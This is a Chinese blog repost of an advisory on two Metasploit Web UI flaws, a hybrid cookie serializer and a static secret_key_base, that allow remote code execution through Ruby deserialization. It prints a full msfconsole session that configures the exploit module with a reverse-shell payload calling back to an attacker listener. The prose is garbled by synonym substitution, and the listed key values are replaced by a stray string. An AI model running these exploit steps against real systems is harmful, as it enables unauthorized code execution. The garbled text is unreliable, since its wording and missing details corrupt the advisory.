当前位置:首页 > 电脑常识 > 正文

Metasploit曝长途代码执行缝隙:别惹我,我疯起来连本身都黑 8090安适门户

11-22 电脑常识

就在本周,Rapid7社区颁布两个关于Metasploit框架的安适补丁,通过这两个缝隙,打击者可以长途非授权执行任意代码。目前,安适研究人员已经发放出相关POC打击代码。

缝隙一:Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid
缝隙信息

OVE ID: OVE-20160904-0001

私有披露日期: 2016-09-04

果然披露日期: 2016-09-19

厂商通告   : 点我

影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001

缝隙描述

Metasploit作为一个安适测试框架,里面集成了非常多的成果,好比msfconsole,msfvenom等,并且也供给了非常多的接口和界面,好比shell接口,Windows GUI页面,WEB UI页面等等。而此次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid,并且引入了hybrid cookie序列化,这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401,才将其值设置为:json。也就是说,只要cookie序列化设置为Marshal或hybird时,并且打击者知道cookie signing key的值,那么打击者就可以结构cookie,触发Marshal反序列化,实现任意代码执行。

参考

[0] 参考链接——点我

[1] 参考链接——点我

缝隙二:Metasploit本周颁布了静态的secret_key_base,这个将会导致长途命令执行代码
缝隙信息

OVE ID: OVE-20160904-0002

私有披露日期: 2016-09-04

果然披露日期: 2016-09-19

厂商通告   :点我

影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001

缝隙描述

通过第一个缝隙,我们已经可以确定cookie序列化设置为hybird,但是打击者还必需知道cookie signing key的值才可以结构cookie,实现长途代码执行。非常不幸的是,MSF WEB UI中的secret_key_base是静态的,并且该值是果然的。以下是目前已知受影响的MSF的值:

20160921172736

目前这个缝隙的操作脚本已经果然到MSF上,模块位置:

exploit/multi/http/rails_secret_deserialization

大家可以更新本身的MSF使用此脚本,或者去GitHub上下载。

下载地点:点我

使用要领:

msf exploit(metasploit_static_secret_key_base) > info  

Name: Metasploit Web UI Static secret_key_base Value  

Module: exploit/multi/http/metasploit_static_secret_key_base


Platform: Ruby

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Excellent

Disclosed: 2016-09-15

Provided by:

Justin Steven

joernchen of Phenoelit <joernchen@phenoelit.de>

Available targets:

Id  Name

--  ----

0   Metasploit 4.12.0-2016061501 to 4.12.0-2016083001

Basic options:

Name       Current Setting  Required  Description

----       ---------------  --------  -----------

Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]

RHOST                       yes       The target address

RPORT      3790             yes       The target port

SSL        true             no        Negotiate SSL/TLS for outgoing connections

TARGETURI  / yes The path to the Metasploit Web UI

VHOST no HTTP server virtual host

Payload information:

Description:

This module exploits the Web UI for Metasploit Community, Express

and Pro where one of a certain set of Weekly Releases have been

applied. These Weekly Releases introduced a static secret_key_base

value. Knowledge of the static secret_key_base value allows for

deserialization of a crafted Ruby Object, achieving code execution.

This module is based on

exploits/multi/http/rails_secret_deserialization

References:

OVE (20160904-0002)

msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2

RHOST => 172.18.0.2

msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp

PAYLOAD => ruby/shell_reverse_tcp

msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1

LHOST => 172.18.0.1

msf exploit(metasploit_static_secret_key_base) > set LPORT 4444

LPORT => 4444

msf exploit(metasploit_static_secret_key_base) > exploit

[*] Started reverse TCP handler on 172.18.0.1:4444

[*] Checking for cookie _ui_session

[*] Searching for proper SECRET

[*] Sending cookie _ui_session

温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/13398.html

博客主人杰米WWW
杰米博客,为大家提供seo以及it方面技巧喜欢的朋友收藏哦!
  • 11365文章总数
  • 1378074访问次数
  • 建站天数
  •